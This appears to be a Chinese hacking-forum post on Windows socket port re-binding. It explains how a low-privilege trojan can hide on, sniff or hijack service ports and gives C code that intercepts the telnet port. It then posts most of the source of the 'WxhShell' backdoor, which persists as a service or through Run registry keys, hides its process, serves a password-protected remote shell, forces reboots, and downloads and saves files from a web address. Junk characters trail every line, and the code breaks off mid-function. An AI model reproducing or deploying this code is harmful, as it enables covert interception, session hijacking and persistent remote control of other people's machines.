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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7AlL,&+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q4v:s   
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  saddr.sin_family = AF_INET; my0iE:  
9N<=,!;5~s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4'TssRot@h  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >pp#>{}  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7'#_uA QR  
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  这意味着什么?意味着可以进行如下的攻击: djqw5kO:R  
|*^}e54  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N>CNgUyP  
:| !5d{8S8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZQ>Q=eCs 1  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B#?rW*yEe  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dL_9/f4   
\_YDSmjy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wbvOf X  
\}~71y}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 34Cnbtq^  
|AT`(71  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;/t~MH  
%w?C)$Kn\  
  #include $ w+.-Tr  
  #include =sAU5Ag68  
  #include pXvys] @  
  #include    x4(8 =&Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tfD7!N{  
  int main() =dsEt\ j  
  { [%O f  
  WORD wVersionRequested; pRzL}-[/v  
  DWORD ret; i]OEhB Y  
  WSADATA wsaData; $E.Fgy:G  
  BOOL val; D)Ep!`Q   
  SOCKADDR_IN saddr; P)#h4|xZ  
  SOCKADDR_IN scaddr; n/x((d%"E  
  int err; q!W=U8`  
  SOCKET s; hC9EL= A  
  SOCKET sc; "0,FB4L[U5  
  int caddsize; c2Exga_  
  HANDLE mt; mHV{9J  
  DWORD tid;   R:3=!zav  
  wVersionRequested = MAKEWORD( 2, 2 ); UNK.39  
  err = WSAStartup( wVersionRequested, &wsaData ); Nukyvse  
  if ( err != 0 ) { ANJL8t-m  
  printf("error!WSAStartup failed!\n"); tfu`_6  
  return -1; ! ,{zDMA  
  } b^&azUkMN  
  saddr.sin_family = AF_INET; bWSc&/ 9y  
   *l;S"}b*,_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JU.!<  
$ 7W5smW/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xcn~KF8  
  saddr.sin_port = htons(23); z>\l%_w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |>[qC O  
  { q]?)c  
  printf("error!socket failed!\n"); H%etYpD  
  return -1; q"6$#o{~U  
  } IUDH"~f  
  val = TRUE; ~Uey'Xz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i7Cuc+ j8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3%Eu$|B  
  { H  XFY  
  printf("error!setsockopt failed!\n"); z&B9Yu4M7  
  return -1; k14<E /  
  } F" M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e!o\AB%d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '7/F]S0K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N {~P}Sw  
em5~4;&'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e&*b{>1*  
  { tW94\3)1  
  ret=GetLastError(); =mF"D:s*  
  printf("error!bind failed!\n"); >3pT).wH|M  
  return -1; TOF V`7q;3  
  } /]_|uN)Q  
  listen(s,2); j"hEs(t  
  while(1) S3i p?9  
  { *^Ges;5 $"  
  caddsize = sizeof(scaddr); 9bM kP2w>  
  //接受连接请求 4c95G^dZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \uZ|2WG`  
  if(sc!=INVALID_SOCKET) 8|<</v8i  
  { =[&+R9s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6)*B%$?x  
  if(mt==NULL) o ABrhK  
  { _)~1'tCs}h  
  printf("Thread Creat Failed!\n"); F'sX ^/;  
  break; ]uMZvAjb  
  } dP +wcl4  
  } U#]J5'i  
  CloseHandle(mt); ,|3_@tUl  
  } ?o$ t{AQ  
  closesocket(s); OzD\* ,{7  
  WSACleanup(); >j3':>\U  
  return 0; 7}y@VO6]  
  }   rMHh!)^#W  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9(O eH7  
  { d(TN(6g@  
  SOCKET ss = (SOCKET)lpParam; ]jC{o,?s  
  SOCKET sc; }A,!|m4  
  unsigned char buf[4096]; KvEv0L<ky  
  SOCKADDR_IN saddr; c"-X: m"  
  long num; Maq`Or|4  
  DWORD val; L+p}%!g  
  DWORD ret; Q{?\qCrrYl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `e~i<Pi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [@5cYeW3.  
  saddr.sin_family = AF_INET; `2LmLFkb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {9-9!jN{"  
  saddr.sin_port = htons(23); A%?c1`ZxF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cTzR<Yr  
  { "uT2 DY[  
  printf("error!socket failed!\n"); Y0krFhL'x0  
  return -1; 9jY+0h*uP  
  } +])<}S!M  
  val = 100; ej@4jpHQN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U5TkgHN{y  
  { tpEy-"D&  
  ret = GetLastError(); Hg<aU*o;  
  return -1; 7)5G 1  
  } _ h5d~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S{N4[U?V>  
  { 2T)k-3  
  ret = GetLastError(); :$k1I-^R  
  return -1; FeMgn`q  
  } Sn4xv2/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Knqv|jJVx1  
  { JVkuSIR>  
  printf("error!socket connect failed!\n"); *?d\Zcj85[  
  closesocket(sc); q~ Z UtF  
  closesocket(ss); A{J?I:  
  return -1; ?d%{-  
  } =X^a  
  while(1) E;{CoL  
  { |h 6!bt!=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vA!IcDP"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D (8Z90  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4'*-[TKC  
  num = recv(ss,buf,4096,0); 3<+ZA-2  
  if(num>0) V0Oqq0\  
  send(sc,buf,num,0); }BU%<5CQ  
  else if(num==0) ?A7 AVR  
  break; X/cb1#  
  num = recv(sc,buf,4096,0); BJb,  
  if(num>0) !reOYt|  
  send(ss,buf,num,0); =pi,]m  
  else if(num==0) Uq_lT,  
  break; iKV|~7nwO  
  } YVa,?&i=N  
  closesocket(ss); Zv!XNc!"$y  
  closesocket(sc); ;`LG WT-<F  
  return 0 ; du$M  
  } ?%$O7_ThvA  
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,cS#  
========================================================== &'&)E((  
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下边附上一个代码,,WXhSHELL mj e9i  
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========================================================== }q]*aADe  
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#include "stdafx.h" *cCx]C.~  
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#include <stdio.h> i 0/QfB%O  
#include <string.h> b way+lh  
#include <windows.h> zJW2F_  
#include <winsock2.h> f~\H|E8(  
#include <winsvc.h> MXfyj5K  
#include <urlmon.h> @(35I  
PNo:[9`S;m  
#pragma comment (lib, "Ws2_32.lib") =E]tEi  
#pragma comment (lib, "urlmon.lib") $;G<!]& s  
^*`#+*C  
#define MAX_USER   100 // 最大客户端连接数 Jh=.}FXnjL  
#define BUF_SOCK   200 // sock buffer l$\B>u,>  
#define KEY_BUFF   255 // 输入 buffer qhvT,"  
3{|~'5*  
#define REBOOT     0   // 重启 p*42 @1,  
#define SHUTDOWN   1   // 关机 ,(Zxd4?y  
HQ9tvSc  
#define DEF_PORT   5000 // 监听端口 2"Wq=qy\J  
q MrM^ ~  
#define REG_LEN     16   // 注册表键长度 Z;a)P.l.>  
#define SVC_LEN     80   // NT服务名长度 F7O*%y.';  
C.:S@{sK  
// 从dll定义API M^Z=~512g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !KOa'Ic$V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G4 :\6fu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z"yW):X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mOh?cjOi  
Miw=2F  
// wxhshell配置信息 !ITM:%  
struct WSCFG { c}n66qJF5  
  int ws_port;         // 监听端口 A|1xK90^XT  
  char ws_passstr[REG_LEN]; // 口令 KCbJ^Rln  
  int ws_autoins;       // 安装标记, 1=yes 0=no >'q]ypA1  
  char ws_regname[REG_LEN]; // 注册表键名 frPQi{u$  
  char ws_svcname[REG_LEN]; // 服务名 Z3c\}HLY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _[z)%`kay  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~K#92  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R,78}7B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qOy(dG g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N [3Y~HX!q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7L&,Na  
Xw'sh#i2  
}; 0nCiN;sA  
2e1%L,y{W  
// default Wxhshell configuration YYFS ({  
struct WSCFG wscfg={DEF_PORT, Cq/u$G  
    "xuhuanlingzhe", n:wAxU  
    1, _;5zA"~c#@  
    "Wxhshell", q?mpvpL G  
    "Wxhshell", eq%cRd]u  
            "WxhShell Service", xS%&l)dT  
    "Wrsky Windows CmdShell Service", :3R3 >o6m  
    "Please Input Your Password: ", O>h h  
  1, 0lniu=xmQ-  
  "http://www.wrsky.com/wxhshell.exe", ~D}fy  
  "Wxhshell.exe" C}<e3BXc  
    }; D=z="p\  
]!sCWR  
// 消息定义模块 $mKExW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]!^wB 3j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HLqN=vE6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +,YK}?e  
char *msg_ws_ext="\n\rExit."; NY<qoV  
char *msg_ws_end="\n\rQuit."; ktynIN  
char *msg_ws_boot="\n\rReboot..."; am3.Dt2\  
char *msg_ws_poff="\n\rShutdown..."; h>*3i#  
char *msg_ws_down="\n\rSave to "; 3GKKC9C6  
xLFMC?I  
char *msg_ws_err="\n\rErr!"; K]B`&ih  
char *msg_ws_ok="\n\rOK!"; |pBFmm*  
D :j5/ *  
char ExeFile[MAX_PATH]; R'tvF$3=i  
int nUser = 0; A9@coP5  
HANDLE handles[MAX_USER]; m?yztm~u  
int OsIsNt; --"5yGOL  
[^}bc-9?i  
SERVICE_STATUS       serviceStatus; 8$]SvfX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YI*H]V%w  
 G$'UK  
// 函数声明 9]ZfSn)  
int Install(void); %hBwc#^  
int Uninstall(void); q({-C  
int DownloadFile(char *sURL, SOCKET wsh);  q9{ h@y  
int Boot(int flag); ltk ARc3  
void HideProc(void); :d35?[  
int GetOsVer(void); #W/Ch"Kv  
int Wxhshell(SOCKET wsl); <m~8pM  
void TalkWithClient(void *cs); <5j%!6zo  
int CmdShell(SOCKET sock); X,G"#j^  
int StartFromService(void); ^4 ,LIIUj  
int StartWxhshell(LPSTR lpCmdLine); !mqIq} h  
P(I%9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ws2?sn#x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ji4bz#/B0  
lY@2$q9BT  
// 数据结构和表定义 |ITCw$T  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Tj{}<yT  
{ 4zhh **]B  
{wscfg.ws_svcname, NTServiceMain}, :%AEwRZ  
{NULL, NULL} C :sgT6  
}; dQrz+_   
. 4RU'9M  
// 自我安装 NpM;vO  
int Install(void) tMP"9JE,  
{ Oh10X.)i  
  char svExeFile[MAX_PATH]; o-&0_Zq_  
  HKEY key; YR/I<m`]}  
  strcpy(svExeFile,ExeFile); QX}JQ<8  
(U$;0`  
// 如果是win9x系统,修改注册表设为自启动 2{BS `f  
if(!OsIsNt) { )sK53O$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JQej$=*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [OOQ0c~  
  RegCloseKey(key); & +k*+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /3hY[#e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?5B?P:=kl  
  RegCloseKey(key); XefmC6X  
  return 0; guf&V}&  
    }  `5(F'o  
  } iT| 7**+3  
} sd B(sbSF  
else { S?JGg.)  
vN_ 8qzWk  
// 如果是NT以上系统,安装为系统服务 *fj]L?,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YZ:C9:S6X  
if (schSCManager!=0) m}D;=>2$  
{ G `3{Q7k  
  SC_HANDLE schService = CreateService {0a\<l  
  ( Vh=U/{Rp1  
  schSCManager, 4,R"(ej  
  wscfg.ws_svcname, *CQZ6&^  
  wscfg.ws_svcdisp, :EYUBtTj  
  SERVICE_ALL_ACCESS, n!SHExBp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *]R5bj.!o  
  SERVICE_AUTO_START, #1*7eANfr  
  SERVICE_ERROR_NORMAL, O<|pw  
  svExeFile, nJYIkfdA  
  NULL, IaO R%B g  
  NULL, \I}EWI  
  NULL, ^ZS!1%1  
  NULL, @x!+_z  
  NULL 0k5uqGLXe  
  ); k$f2i,7'  
  if (schService!=0) 4:**d[|1  
  { +hispU3ia  
  CloseServiceHandle(schService);  tKh  
  CloseServiceHandle(schSCManager); %;u"2L0@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >/ A'G  
  strcat(svExeFile,wscfg.ws_svcname); W?kJ+1"(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m`$Q/SyvG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bd}[X'4d  
  RegCloseKey(key); :HrFbq  
  return 0; &\cS{35  
    } 6yAZvX  
  } !kb:g]X  
  CloseServiceHandle(schSCManager); bd%< Jg+  
} .:Sk=r4u\  
} @VG@|BQWa  
tq'ri-c&b  
return 1; 2cIbX  
} 1 \aTA,  
[S~Bt78d%r  
// 自我卸载 1/;E8{  
int Uninstall(void) ~9#x=nU:+V  
{ ;P;c!}:\b  
  HKEY key; HIE8@Rv/3  
a(?)r[=  
if(!OsIsNt) { 9MI9$s2y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z'!ORn#M  
  RegDeleteValue(key,wscfg.ws_regname); {{M/=WqC  
  RegCloseKey(key); }hg2}g99  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4k$m 2  
  RegDeleteValue(key,wscfg.ws_regname); s>\^dtG7  
  RegCloseKey(key); B@dCCKc%/  
  return 0; ^"=G=* /  
  } 9v-Y*\!w.  
} /~;!Ew|q  
} (=c,b9cb  
else { b$*2bSdv0<  
W|zPV`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "zXrfn  
if (schSCManager!=0) {n|Uf 5  
{ rMjb,2*rC7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kF,ME5%  
  if (schService!=0) /)K;XtcN  
  { I 2OQ  
  if(DeleteService(schService)!=0) { 5cU:wc  
  CloseServiceHandle(schService); Rcw[`q3/  
  CloseServiceHandle(schSCManager); 's5rl  
  return 0; ~QPTs1Vk8  
  } -Hw3rv3o  
  CloseServiceHandle(schService); gdqBT]j  
  } ]yqE6Lf9  
  CloseServiceHandle(schSCManager); BaIuOZ@,  
} }#4Ek8nFR  
} cjg~?R  
P,-5af*;  
return 1; 8>x' . 8  
} L1g0Dd\Ox  
w >2G@  
// 从指定url下载文件 I"3C/ pU2  
int DownloadFile(char *sURL, SOCKET wsh) 6H  U*,  
{ ZADMtsk  
  HRESULT hr; T KAs@X,t  
char seps[]= "/"; OQ wO7Z  
char *token; O_.!qk1R  
char *file; OyK#Rm2A=  
char myURL[MAX_PATH]; eu_ZsseZ  
char myFILE[MAX_PATH]; ]sVWQj  
I"lzOD; eI  
strcpy(myURL,sURL); aTeW#:m  
  token=strtok(myURL,seps); ?r8hl.Z>  
  while(token!=NULL) X?< L<:.  
  { Qyx~={ .C~  
    file=token; @b^$h:H  
  token=strtok(NULL,seps); 4L{]!dox  
  } > 3(,s^  
gg%)#0Zi  
GetCurrentDirectory(MAX_PATH,myFILE); ^_P?EJ,)`  
strcat(myFILE, "\\"); whHuV*K}  
strcat(myFILE, file); f>ktv76  
  send(wsh,myFILE,strlen(myFILE),0); n4+q7  
send(wsh,"...",3,0); u1#(~[.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); );t+~YPS  
  if(hr==S_OK) wJq$yqos{  
return 0; >ZG$8y 'j  
else qs bo"29  
return 1; "gm5 DE  
m9:ah<  
} SvvNk  
w <"mS*Q  
// 系统电源模块 &$_!S!Sa/  
int Boot(int flag) +By'6?22  
{ <)(W7#Ks  
  HANDLE hToken; HKT, 5  
  TOKEN_PRIVILEGES tkp; ,i<cst)$u  
~ @xPoD&  
  if(OsIsNt) { .n YlYY'   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y&Fg2_\">  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H7;, Kr  
    tkp.PrivilegeCount = 1; Y2.zT6i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eXK3W2XF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z^as ?k(iM  
if(flag==REBOOT) { il !B={  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N_iy4W(NU  
  return 0; 5<v1v&  
} ^5TVm>F@3  
else { q jc4IW t~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C f d* Q  
  return 0; ~AX~z)  
} _FE uQ9E  
  } pXN'vP  
  else { ?H@<8Ra=3  
if(flag==REBOOT) { p!uB8F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rEj[XK  
  return 0; )qbkKCq/FB  
} ~v pIy-  
else { (Ll'j0]k>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  @,k5T51m  
  return 0; U1) Zh-aR  
} <y^_&9  
} {dpDQP +!  
sHk>ek]2I  
return 1;   P3|s}&  
} h ka_Fo  
a <?~1pWtc  
// win9x进程隐藏模块 &b5(Su  
void HideProc(void) 0^o/c SF  
{ jED.0,+K !  
;e5PoLc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T~Bj],k_  
  if ( hKernel != NULL ) u4SL:IH{D  
  { t$Rc 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xt,Qn460;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -mRgB"8  
    FreeLibrary(hKernel); oU\7%gQ  
  } F/>\uzu  
|%XTy7^a  
return; SiX<tj#HH\  
} ug2W{D  
ycc G>%>r  
// 获取操作系统版本 LAxN?ok9gD  
int GetOsVer(void) OQ?N_zs,  
{ &5b 3k[K"  
  OSVERSIONINFO winfo;  ]gcOMC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \2a;z<(  
  GetVersionEx(&winfo); 8/dMvAB1So  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x@rQ7K>  
  return 1; , %z HykP  
  else sV%DX5@  
  return 0; -#;xfJE  
} Z*mbhod  
&Q?@VN i  
// 客户端句柄模块 U6@c)_* <  
int Wxhshell(SOCKET wsl) ~Y CH5,  
{ o68i0aFW  
  SOCKET wsh; T pF [-fO  
  struct sockaddr_in client; DWKQ>X6  
  DWORD myID; xLoQ0rt 6  
X7L:cVBg  
  while(nUser<MAX_USER) [I4M K%YQ  
{ ~d]v{<3  
  int nSize=sizeof(client); I)FFh%m<}a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /^nIOAeE  
  if(wsh==INVALID_SOCKET) return 1; OR~ui[w  
J}xM+l7uY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ( uD^_N]3  
if(handles[nUser]==0) # lvt4a"P"  
  closesocket(wsh); UcQ]n0J=Z  
else ~>=.^  
  nUser++; 5qQMGN$K  
  } vQi=13Pw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N?vb^?  
5<ruN11G  
  return 0; k B]`py!  
} L7 }nmP>aR  
; o_0~l=-/  
// 关闭 socket /ie&uW y  
void CloseIt(SOCKET wsh) ~ `qWE u  
{ L@(. i  
closesocket(wsh); nI6ompTX  
nUser--; TxG@#" ^g}  
ExitThread(0); e~lFjr]  
} }BlyEcw'aN  
r4 *H96l  
// 客户端请求句柄 `K.B`  
void TalkWithClient(void *cs) (Fzy8 s  
{ C'$}{%Cc@$  
'A:Y&w"r  
  SOCKET wsh=(SOCKET)cs; :\"0jQ.y|  
  char pwd[SVC_LEN]; )f:i4.M  
  char cmd[KEY_BUFF]; 2\1+M)  
char chr[1]; '|ntwK*f  
int i,j; nahq O|~  
AtCT  
  while (nUser < MAX_USER) { BVb^xL  
LsERcjwwK  
if(wscfg.ws_passstr) { ^ l]!'"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! s =$UC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gE\ ^ vaB  
  //ZeroMemory(pwd,KEY_BUFF); C 6 \  
      i=0; C][hH?.  
  while(i<SVC_LEN) { L4/ns@e  
bOr11?  
  // 设置超时 a`w=0]1&*  
  fd_set FdRead; >E J{ *  
  struct timeval TimeOut; KUZi3\p9W>  
  FD_ZERO(&FdRead); w CLniCt  
  FD_SET(wsh,&FdRead); )Ac,F6w  
  TimeOut.tv_sec=8; H;nzo3x  
  TimeOut.tv_usec=0; Zwc&4:5%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?;W"=I*3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o[!o+M  
.-rz30xT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #  `E  
  pwd=chr[0]; Cb{D[  
  if(chr[0]==0xd || chr[0]==0xa) { m6e(Xk,)  
  pwd=0; :P_h_Tizv  
  break; Ln,<|,fZN  
  } X^eyrqv  
  i++; Ljz)%y[s  
    } 2T2<I/")O  
G^)]FwTs  
  // 如果是非法用户,关闭 socket (v/L   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Lp"Ia  
} }VJ>}i*  
,g7O   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hTLf$_|P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tB>!1}v  
z]8Mv(eL  
while(1) { s|<n7 =J  
Q;3`T7  
  ZeroMemory(cmd,KEY_BUFF); fW2NYQP$:  
x!GDS>  
      // 自动支持客户端 telnet标准   g3kbsi7_:  
  j=0; Gpxp8[ {  
  while(j<KEY_BUFF) { U!|)M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lot`6]  
  cmd[j]=chr[0]; M 8WjqTq  
  if(chr[0]==0xa || chr[0]==0xd) { RG45S0Ygj  
  cmd[j]=0; lF(v<drkB  
  break; }XBF#BN  
  } cF15Mm2  
  j++; I*a@_EO  
    } #(614-r/  
?fy37m(M}  
  // 下载文件 /K li C\  
  if(strstr(cmd,"http://")) { md{nHX&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K@1gK<,a  
  if(DownloadFile(cmd,wsh)) S&UP;oc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5bXgmyil  
  else g]&fyB#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -M=BD-_.h  
  } xFp$JN  
  else { 4utwcXL  
m=9b/Nr4  
    switch(cmd[0]) { $;Fx Zkp  
  Gn 9oInY1  
  // 帮助 eWv:wNouk  
  case '?': { QoxYzln  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wd;t(5Xl  
    break; h623)C;  
  } MS""-zn<  
  // 安装 %^lD  
  case 'i': { Gf.ywqE$Y$  
    if(Install()) 72~L  ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*U(Wl=  
    else }b54O\,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OlyW/hd  
    break; ~F-knEvL  
    } B`eK_'7t  
  // 卸载 UeFJ5n'x:  
  case 'r': { &l2xh~L  
    if(Uninstall()) ?X|q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ax]t-ZwJ5  
    else r*b+kSh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fvk=6$d2  
    break; %|H]T] s  
    } O MQ?*^eA  
  // 显示 wxhshell 所在路径 ~`Bk CTT  
  case 'p': { Ich^*z(F$  
    char svExeFile[MAX_PATH]; P,] ./m\J  
    strcpy(svExeFile,"\n\r"); M2cGr  
      strcat(svExeFile,ExeFile); Ti)Me-g  
        send(wsh,svExeFile,strlen(svExeFile),0); 5?H8?~&dz  
    break; z# &1>  
    } 9cB+ x`+Lu  
  // 重启 P.Bwfa  
  case 'b': { )I*(yUj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eV}"L:bgJ  
    if(Boot(REBOOT)) B \R X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ShC$ue?Q  
    else { ' :_9o5I  
    closesocket(wsh); ktfm  
    ExitThread(0); w3q'n%  
    } mTu>S  
    break; 9+9g(6  
    } yOz6a :r  
  // 关机 ' 8)kFR^9  
  case 'd': { 8'@5X-nD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 15J"iN2"W  
    if(Boot(SHUTDOWN)) F&!vtlV)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]CLM'$  
    else { DQK?y=vf  
    closesocket(wsh); [(Z(8{3i  
